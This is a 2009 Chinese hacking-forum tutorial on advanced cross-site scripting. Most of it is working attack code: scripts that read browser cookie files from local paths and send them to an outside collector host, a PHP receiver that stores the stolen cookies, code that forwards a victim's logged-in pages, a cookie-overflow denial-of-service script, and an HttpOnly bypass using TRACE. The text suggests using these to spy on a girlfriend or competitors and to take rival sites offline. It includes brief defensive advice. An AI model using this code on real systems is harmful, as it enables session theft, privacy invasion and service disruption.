XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
9 w! `  l: f8 c; x8 ~7 k
$ d1 c# }$ R1 x0 f: k/ R8 OXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
6 V- n' O# y9 }/ k3 Y* R( W( ?( Zhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

0 b/ f8 ~: L. s$ D4 {8 R1 T8 P

-------------------------------------------前言---------------------------------------------------------
  M# \, D2 A; T' b& b6 E" z

7 H5 {9 q! e  Z- s" q0 Q/ F7 |本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
) `( z( p' O* j

8 q" {- W* }( _/ Q* ^  K. o1 y- C8 l/ n如果你还未具备基础XSS知识,以下几个文章建议拜读:
/ B7 d, T* S. O; ~- Z0 shttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
1 M2 c" T/ W; _- {" A* n3 zhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
+ R, ^! I* {- whttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
: s  A) I9 F2 B! p- k$ v( G- Jhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
: A' s2 ?6 G* Zhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
9 h* q0 |( W4 e; q1 e4 B" E) x
: ?3 A& u4 v' }$ F, n! d, y# z6 Q* d
+ N) B. T: G; W- x9 v. j" T
) ?" d! W/ v+ W7 R
+ N+ h' C' w! \9 o* ^& [2 B1 B+ }5 n如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
. i7 f  I) d1 p* O. ~1 S
5 y' j; b% M0 O3 Y$ U' E) j如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
+ ?7 {0 ~; k, p6 r# U7 G& G+ O
; B/ ^- e7 O, \0 u( i# V6 uBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
% }. r: W" O9 q+ y
% L" T, b/ a2 K1 |8 D% ?% z/ `QQ ZONE,校内网XSS     感染过万QQ ZONE.

4 s- L7 F& _, v  }8 sOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
0 j  M& Z) I; T+ H  p
..........
& r( R' l3 `$ X! I8 E4 Q3 y复制代码------------------------------------------介绍-------------------------------------------------------------
0 l9 ]- S8 a2 _1 t  c
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


: l4 C5 t$ O! y/ E, F) H1 R
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
1 _& S7 o+ x  T. G4 N5 o1 k( k
1        通过XSS,我们能实现什么?

( c. ]! J* v# v  d9 \/ t$ o/ i5 `2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

& z4 @! T8 W& e" M# k, v; s3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

. x, K2 F- k) y, c3 G+ D4        XSS漏洞在输出和输入两个方面怎么才能避免.
6 z8 n) [  K* {( M' J$ V" v" Z
( O$ ~3 d8 p# g6 O* B

. T& d: D4 A) w5 f------------------------------------------研究正题----------------------------------------------------------

1 W- g7 r$ M: f$ K- i

) v  U, e* F) t" V6 z通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
* O/ i) v( K9 o3 S% N% F+ {复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
* W0 o. m8 x) f5 K% H1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
% Z' z+ v5 w  I6 G: U: }- n2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
) Z6 U$ T4 B1 e* W* o+ x3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


3 H4 a  N. `- V: p( x
0 R6 Z; z2 i* V4 h% C5 M7 ~
; E9 p+ P' U, i0 i/ z% ^
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
, q/ n* j  i9 e0 [* r2 |2 \
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

" g' g# q7 b! c4 @3 k/ S1 p
: m, o* l* ]: ~2 J8 ^
) a: d/ v6 L! A# W# g0 c# X    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


6 |( |$ H- A% k0 b; ~
" O! h# U, Z/ I1 k$ \7 ]  k    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
, Q6 a5 t4 [& L1 V( Q' F
- v- v; w. B9 L2 Z. m9 U% }

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
0 a* t9 J. C. ]% I" R- l! S, J
& ?: D: _# W& ]    function $(x){return document.getElementById(x)}
9 Z% N( u9 o) e3 y
% ]% J5 ~1 z* {0 n) k3 }
2 i0 T8 m: Y/ o$ K, i8 i0 }+ ]
( r! {% j! t9 \, J5 f" D    function ajax_obj(){

" t2 k; s% ^# C4 i* L    var request = false;

    if(window.XMLHttpRequest) {

# d! G: w, J. c4 X6 j    request = new XMLHttpRequest();
; F: |9 H/ ]  d9 m0 g
    } else if(window.ActiveXObject) {

4 Z; v9 Z5 {, |! G( ]0 B    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

, R7 F# k* w' U/ l) V

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 `  Q9 S% k. |8 ^  u
    for(var i=0; i<versions.length; i++) {

    try {
% ^! z7 d. z0 J
4 H, F9 ^  G4 G( u1 j7 E7 T! r    request = new ActiveXObject(versions);

0 ?; d9 n: T: z2 A- n    } catch(e) {}

' ~% y0 d- H2 v& n4 T    }

    }
6 [0 x0 D$ m8 f" T- C0 K
    return request;
5 ~, ~& I+ h4 J8 {$ K, k
/ ^! J$ L6 a" a    }
! p1 F4 ?: A  K+ s% @7 E3 ]
# h- |( T, c+ A! H6 r0 s* P    var _x = ajax_obj();
2 n& _+ h. q7 o: j1 p: v  J
5 P/ U/ u( Y. a  k( v    function _7or3(_m,action,argv){
. ^1 l% ?7 X- s; o. P
    _x.open(_m,action,false);

1 p+ ?9 f( r5 Y  R0 @    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* _# j7 p% s5 S0 V3 E% D
$ N! H6 b3 Y- \& z& Y1 h6 |7 f    _x.send(argv);
# Q) v9 P. u6 B* K
( V- g4 ~" k: g' r8 ^    return _x.responseText;
" a- Z; Z2 I3 }. i1 V+ A
    }
/ M3 V6 ^. m9 g

+ |3 g) E" U. w' A7 R' V
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

# j/ n5 q; d0 Q8 n" Z& A, v    alert(txt);
, e) x( T' \' Q( Z6 C. x
; d) I4 l8 n" H0 P3 S, ]0 c' ~
3 g: ~. w- P! O  r( r; t1 z0 n
$ s& X3 Y- L- n0 G! i; Q5 e6 E    </script>
/ m8 U9 o/ H$ d复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

% b% k1 o1 x, T9 ]: i# D0 A    function $(x){return document.getElementById(x)}



9 l1 X& ]( _0 U$ l    function ajax_obj(){
. u, v' y1 h3 {2 A: @/ p+ E% d
    var request = false;

8 M# _% Q/ X# `, O$ [' K    if(window.XMLHttpRequest) {
6 T. [! @: X) C" M. [- R0 `
. S" }, S! y% `3 _% G! Z- X! K    request = new XMLHttpRequest();

, w# a  h. I2 F, o, p- }- h    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


3 P# m! W( H5 ?
/ H4 j! k6 a: Y: C( F' T" f" P. p    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" C3 V: b4 {9 p- B5 K! J' Q0 z
- I$ \+ a; B" S$ b1 a, N    for(var i=0; i<versions.length; i++) {
4 W/ X5 F, o4 ^6 R- F& ^4 r4 c
    try {

' a# a2 K$ B5 z! V6 u7 J    request = new ActiveXObject(versions);

( v4 x, Y# s! ~, |' p: ~+ ?; |    } catch(e) {}

    }
% \7 k' i2 K' T. T5 m( [6 ]
. R. w1 ]: D; D8 O( q3 V7 x8 ]/ X    }
' E( R1 D" T! [2 b" |
+ {7 O+ F0 @3 o8 j* O1 V+ S    return request;
! w5 Z* d+ R2 j3 U+ j' _5 d0 v3 ^/ P
# K% }; i- w2 y3 _7 e6 ~6 g    }
6 ^2 l% k* S' ^9 r* }; D8 x
( b/ T) B; J3 C# s) Y% {    var _x = ajax_obj();

0 t( ?9 _8 Z6 e# T    function _7or3(_m,action,argv){

- W4 Y6 t' m) ~  y    _x.open(_m,action,false);

3 [- d% m& K# h4 N    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; d. E2 W, l0 e1 M
    _x.send(argv);
1 L3 Q% g6 K/ g' C& `5 {* G4 l
! U! L. n8 `9 k: S$ E3 G6 s    return _x.responseText;

! ?& }& Q9 [  Y5 {. o' d6 q    }
& d7 p9 j- A4 s/ v  @6 M- j. L
1 s2 \: i# [9 b" B

    var txt=_7or3("GET","1/11.txt",null);
, E5 f) I+ Q6 k/ [2 c0 u6 `; E
    alert(txt);
' o& T$ Z4 @5 a
2 g3 ~3 o  x6 Y  }* W+ _

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

% U! g* ~' T; I. ~$ j0 [2 z$ o: d9 z

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
5 p  d4 f( t+ }/ d1 g6 F
- ~- O! x0 ?6 D/ S5 Z+ G. g
* O! V/ u# F2 u# H5 U
' K3 d0 g" C% D<?   
$ w! \0 U2 \& ^6 ]2 z6 z
/*  
; j4 F% h6 @: H
, ~; Z* Q2 C9 W8 o; ]     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
8 k4 m: J, U: y
4 A& ^6 Z+ X1 X     www.inbreak.net   
$ ^/ O" U( B8 ~% ]
, W" C& y6 H9 C5 m7 T8 E1 M3 e     author voidloafer@gmail.com 2009-4-22   
# X! \$ o# N. L7 `" Q, l- b  V
4 B; a! @6 Y* }, Z4 A     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
( W' |7 r  W: U
/ \' k7 C( s  Q7 a- _# i7 lheader("Content-type: application/kxlzx");   
2 z% z$ r( m$ |6 d4 M2 I2 J
/*  
! o! q6 ^4 _: g1 |- }  b* z
8 B. j) y, X$ _% p' T     set header, so just download html file,and open it at local.  
% x1 _' W. j0 }, q8 b% ?  y
*/  
/ S5 x, Z: g+ C  t
?>   
- P4 k# G1 M1 F9 ~( V4 A9 `+ t
, i2 j# [1 s+ e- y. r' F<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   

6 @- H' W8 q% n! b$ d<script>   

function doMyAjax(user)   
* ^7 L2 |/ F$ Z& ?4 q+ J: Q
* b$ S' n7 c- t  H& I0 \{   

4 x7 P0 s, S  j0 Z+ \var time = Math.random();   
1 \0 a7 Z9 F, [* I( j( n
' f# U3 }+ a* m3 r, M  S6 _/*  
( A! O. R) s7 J# B6 U  w
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
) a! K; f, _. s' X% a3 v
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
) n3 S) ^5 L/ |: u7 w0 B" _
5 N% f! C+ E1 Uand so on...  
% E4 D; e( l6 P3 o7 D5 l
*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
$ o  ?  l8 f; G  t  _6 e9 v5 x7 F
   

4 u& M/ l# N3 OstartRequest(strPer);   
$ B$ O# w. w7 h( ~9 N
7 u& Z6 [; R( X) {! E
& B' Z/ Y& J4 T% f& I* y
}   

* ?5 c2 z2 z) T4 e1 r' \   
/ s! ~7 H% ?% D. G; W5 z$ b
& |0 C8 b- {4 m/ C$ W. _function Enshellcode(txt)   

3 |, D" N$ E' F7 N2 m3 C{   

0 n) o% B1 D- t4 w2 N2 K, ^var url=new String(txt);   

5 o& E+ I# d; u  w# `6 |) mvar i=0,l=0,k=0,curl="";   
5 K$ y/ L3 I5 y5 j. [) {- o5 l
l= url.length;   
/ g( M0 p0 \7 D
for(;i<l;i++){   

$ W- _3 \# Z% Ek=url.charCodeAt(i);   
: E9 k! g4 Q! f( U% p) Q* i* f
0 D- s' N! e: Y8 bif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
* g9 d+ S  F! T; h
; o6 o( y7 f4 }( b* yif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
3 d9 @& n- {0 G0 }( L5 y1 K8 h( h
" Y3 s- V- \' E- Q) sreturn curl;   
+ e8 {  H- d) [, K
% H8 s( D% \  }+ S+ U" P+ i2 q}   

   

; E/ j8 ?! ^% P9 ?5 v! L8 z   
6 x* b, W$ p1 H( `. H3 C, \
& {% G: J5 }' S# x+ A3 Dvar xmlHttp;   
* d5 R5 h, l4 M. |8 t
* W! t( i5 K1 f4 ofunction createXMLHttp(){   
" m, z0 G1 ?* F5 ^6 P9 b! K: l/ G: i6 {
     if(window.XMLHttpRequest){   
4 |  s3 ^1 w! S; q0 V+ X1 O: U
xmlHttp = new XMLHttpRequest();           

6 J. B6 X! K! N  b     }   

     else if(window.ActiveXObject){   
# {. t0 K( Q( m) x+ t- c2 Z
$ q& J# l9 w0 d; \( RxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

# K- U0 {% Z$ E5 S% l- @/ Y     }   
& D; l! T( X6 T. S; w' Q$ O
}   
4 ~$ A0 e6 o& Y. W  F. O
# v) w5 v6 s+ [+ q3 F1 G3 Q   
; @; U; ?9 K! R1 Y! [$ g
" Z9 c4 B" F0 C1 t  z' [function startRequest(doUrl){   

   

     createXMLHttp();   
$ `' K" D% j% |1 e


4 t. d  O  K- L8 M     xmlHttp.onreadystatechange = handleStateChange;   
3 p5 y* z4 Z) n

5 |9 P1 ^  ?9 D- l
     xmlHttp.open("GET", doUrl, true);   


  i  [' i- }. s# }! f
  u% A* s" [+ h0 l/ q( o     xmlHttp.send(null);   
2 y, v8 j" Q, ~5 u7 ?, B: a
. W! w2 F3 b( `7 F; Q# J


% V( |' a" {' z6 }
}   
) w" Y' J6 F( z- J! y# I/ k1 {/ H
   

function handleStateChange(){   

& }) }2 @" U" P1 k     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
) r4 H2 v. n7 X- I9 j. K
, [$ O% H* \0 _; o     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
! N1 ^: T, b- W) c
        

0 }4 R& q! z  E) q# M     }   

1 y6 ]% d. \8 J, m/ Z7 Y6 M( J% p4 [}   

   

& V' O: N  \% l0 v1 m   

function framekxlzxPost(text)   
% v4 u/ p9 L" d% r6 G( P
{   

3 ?  W5 b. ?. d     document.getElementById("input").value = Enshellcode(text);   

8 a- C3 c% C. X5 \" [9 B     document.getElementById("form").submit();   

, {& p% V5 s. d. n}   

$ F3 ^7 {0 e/ t! a* T/ c   

# c! Z8 E$ Y" E7 W  W5 s, z' h# NdoMyAjax("administrator");   

3 q1 ]% S5 ]4 A% P' R/ q% Z   

0 M2 q% c" u$ p$ i0 Q</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 f; ^6 X3 L5 B2 t' Q0 ~: v
var xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

& f. T7 y" ~: S$ S* {5 h3 l0 M* Z. f         xmlHttp = new XMLHttpRequest();         
% w! x+ u/ F) _) V9 i
# K# E% r% g( D( V/ M4 E8 r2 `     }  

     else if(window.ActiveXObject){  
; i/ T, p. N- Z% r2 i
2 a  X; a( _4 o( k. e9 c3 ^         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  
$ B0 {2 x& I" ~/ b$ M% }
% |6 x  y) l5 P# y   

  I2 w4 s6 h3 X$ R' l7 m! N3 \function startRequest(doUrl){  
0 l+ ^, p" _- A$ Y
3 ?$ J+ J1 s3 d+ ], w           

* @" F: X) m* A5 ~1 ?     createXMLHttp();  
1 k* K/ \2 b. R$ g: W. x
" V' p2 q0 ?2 L9 G* ~7 _      

" _' a* I* b5 `     xmlHttp.onreadystatechange = handleStateChange;  
# r+ ^" X1 q5 B$ j2 M% c  _  u
# C& t# w/ s& D0 r$ Z' ^. w3 G      

6 f2 n& e0 E7 `1 \/ o' C7 J/ \$ D) U     xmlHttp.open("GET", doUrl, true);  

1 Y& \7 |8 u8 H9 d# L# ?7 g' }      

* f( e+ @3 Q. s9 k2 l! b. Z     xmlHttp.send(null);  
, y# p3 V3 o7 J8 y. L- D0 ]
      
3 p( N& w: x$ a% h9 i! X8 `  d
6 G1 R/ x  A, Q' O$ }) Z      

}   

* x+ U2 r! J5 V5 L4 w% Z/ n' Q   

% f, F( U1 Y- D+ l6 Rfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
7 |; k7 M0 R! _( k( a7 e
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
! z7 J% G7 S7 @9 y$ f! a
3 u! x3 b5 }0 T, T! |0 _* f1 j     }  
9 ?( D! {& a/ j5 W2 b4 i- S
}  
5 _. ~) K2 R  k1 ?
   

* J6 w& A+ u; z8 Zfunction doMyAjax(user,file)  
& q4 Y9 ^3 Q& B! M! y. M
% f5 j! }4 W6 y3 P3 u{  

; l- Q; S& E# c9 p+ l# V& [- A' w6 h         var time = Math.random();  
- f( t( {' G4 ?' {
% D7 X" L. R% f6 B8 s, ~! V, S5 E           
0 }& l* h! z5 X1 F
* r- _: o( i& Z& F0 I9 H         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
! a' b5 L& [( Z; z
# z+ U# J" g( m4 Q/ S! {  J           
6 S& v# Y1 @5 q, \
0 M# g7 N1 X$ e! j1 G2 ~, K         startRequest(strPer);  

% t/ M4 ~' w# N0 r- c      

! P5 J: y" v8 A( R}  

   
- Z) P& j9 u& ]: i4 f1 ]& E8 N
function framekxlzxPost(text)  

7 S+ d) ?8 y* X+ Z' f1 e4 ]{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

7 J& j0 e4 ]. y! t* [     alert(/ok/);  

4 G) v) I0 \& t4 U- ?* E}  

% W, c% x1 H" o   

/ `) s5 o& e- C. MdoMyAjax('administrator','administrator@alibaba[1].txt');  

4 ^8 H$ j! C  l- s! @2 v   
8 R5 B/ I) r4 f' W9 _0 i8 z' ?
1 {8 V  s/ s' |</script>

$ B. l6 p5 U9 q

6 N) ^2 i# b9 Y$ J# ^2 V
6 K! @2 D6 y  V; i/ |; ]2 q$ A
a.php



& P, o9 ]: M, }* H0 j<?php      

   

/ N6 k$ j/ C$ b3 H$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
0 g! k! Q8 b" A0 l' K" d" J9 c
  
' h2 u3 p5 j9 d  F. A$ _
% l* S" Z$ w; ^$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

) N9 C, q9 b) ^) X' a( c0 v! dfclose($fp);   

2 r- j, E9 d/ s?>
" P6 g& R( Z+ }6 E: o( ^; U' L  Z复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
* `# U; ^: y" |" [
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

; t# m6 j# b+ ?4 b代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
5 L. ?. r, X- v3 s$ |
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
2 p& x+ |& P4 D
- P! M7 _! _! Pfunction getURL(s) {

var image = new Image();
9 `# d. r8 v  E  H; U
image.style.width = 0;

image.style.height = 0;
6 G# i: g, J7 e  U1 T
4 M4 I4 k# t3 V5 p' Z& C% h9 f3 ^image.src = s;
) Q9 G, `# S; C9 ^( n0 t
}
: q2 D' Q3 q& L" A0 j
6 S. M! f) D) ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
6 ~6 F3 ?; J, [3 r
while (str.length < 4000){

    str += metastr;
( f2 p* E1 x' {! r& r
- R: M5 h+ w( j}

& D, H( @; K/ X7 X6 P9 s
, @( l# y' |% S! Y/ H/ f+ j- y( f5 C$ d
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
- k! l. w# @0 T! e5 M: w# s
. x) N/ Y3 t% ]</script>

$ h& T" Q; Z& R$ @4 g5 ?详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
5 J- `& n( H8 d  j' t8 W5 W复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
0 W; E0 ?/ K  S2 Xserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

* J- M' t# O8 i' L: P假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
( z) ?! U3 q/ D' A




$ b7 M: Q& U$ |( U" L
3 u+ ^- t$ s- u: Y% `(III) Http only bypass 与 补救对策:
7 {. K, {9 P2 J. D% l* w8 i
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
4 W8 f, k1 T" z. M* C# h
function normalCookie() {
/ }7 w3 f. ]% X1 ^' c9 C. Q- d
" ^( }) x3 i. |document.cookie = "TheCookieName=CookieValue_httpOnly";
) m2 ]' k* T$ {4 R  f
alert(document.cookie);
# c+ X9 H% p' s$ n' M
}
" R  b2 |' R* t/ D3 \


$ V2 x! h8 M! E7 @1 {8 k7 e
8 p6 L8 n0 n, ?" h2 \  t
- E3 Y; c( G) d" ^function httpOnlyCookie() {
, Q) `( e6 q/ Q2 l) ~  M
4 w( S1 T# O- r2 b! S6 ?document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

6 N5 z3 o2 W8 T4 X7 Galert(document.cookie);}
* q$ C/ q+ V  r2 x, W
5 D& `% i# o/ @+ }& ^. I- O6 L
6 c, }! T& ^' \% f/ g
//-->
4 \+ E$ p, R( J
; w3 I! k# b! h+ S2 s2 X</script>
/ Q& m' y% o, a% o/ m4 F+ M
, L+ ]% w( ~1 G8 Q( h" o

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
  ?* o7 d& }" x5 b  v; D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
1 F6 C* C( M' V9 p4 T  N5 C
0 O/ T( c& z+ n. [6 I7 U
9 a2 B) F4 T. i3 _
var request = false;
# ^9 }1 f* Y- O+ ?7 r- B
3 J9 y, ]; L, Y. @        if(window.XMLHttpRequest) {
5 C) j$ j. H9 j8 y# D
            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
2 g" e% x4 r5 e5 W3 f5 s" D) u
                request.overrideMimeType('text/xml');
* f9 y7 `# @8 U$ E% {( x8 K
7 d5 W7 W! l2 x! m            }

        } else if(window.ActiveXObject) {
7 ?) w  G6 B0 |& c
' z/ l: E2 P  w$ w: r            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: O' I; u6 P* b9 |$ |* }
* X9 A; |  J. m            for(var i=0; i<versions.length; i++) {
- K( I; u. l- f/ s2 m6 Z( P
. c" t: }  I0 |; J$ T6 R# j                try {

2 X" C8 ~8 Q5 V2 M; p. c: S$ C  f                    request = new ActiveXObject(versions);
$ s3 T+ h+ g2 D% g! f! A
                } catch(e) {}
/ y  P( v6 ^) \% ?6 U
            }
2 U) o' j. {2 E# |% `7 c* E
        }

' \1 X7 w* [* c: _- {4 t; dxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
3 ~: O3 p  G2 o2 @
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
$ |5 \% H4 s# ]
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

3 x1 h$ S" A  hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 q" k8 l* n& ~1 b$ L
XmlHttp.open("GET","http://www.google.com",false);

7 A3 w  n. b% ]% r0 N% v) d- v8 q% O( MXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

: X8 n8 a: T- K) Q" vXmlHttp.send(null);

$ O. h5 M1 w5 V6 T  vvar resource=xmlHttp.responseText
. p5 L& H% B" g& E3 }/ M7 |
7 A4 w0 h2 [5 I8 u6 k3 v( F0 }resource.search(/cookies/);

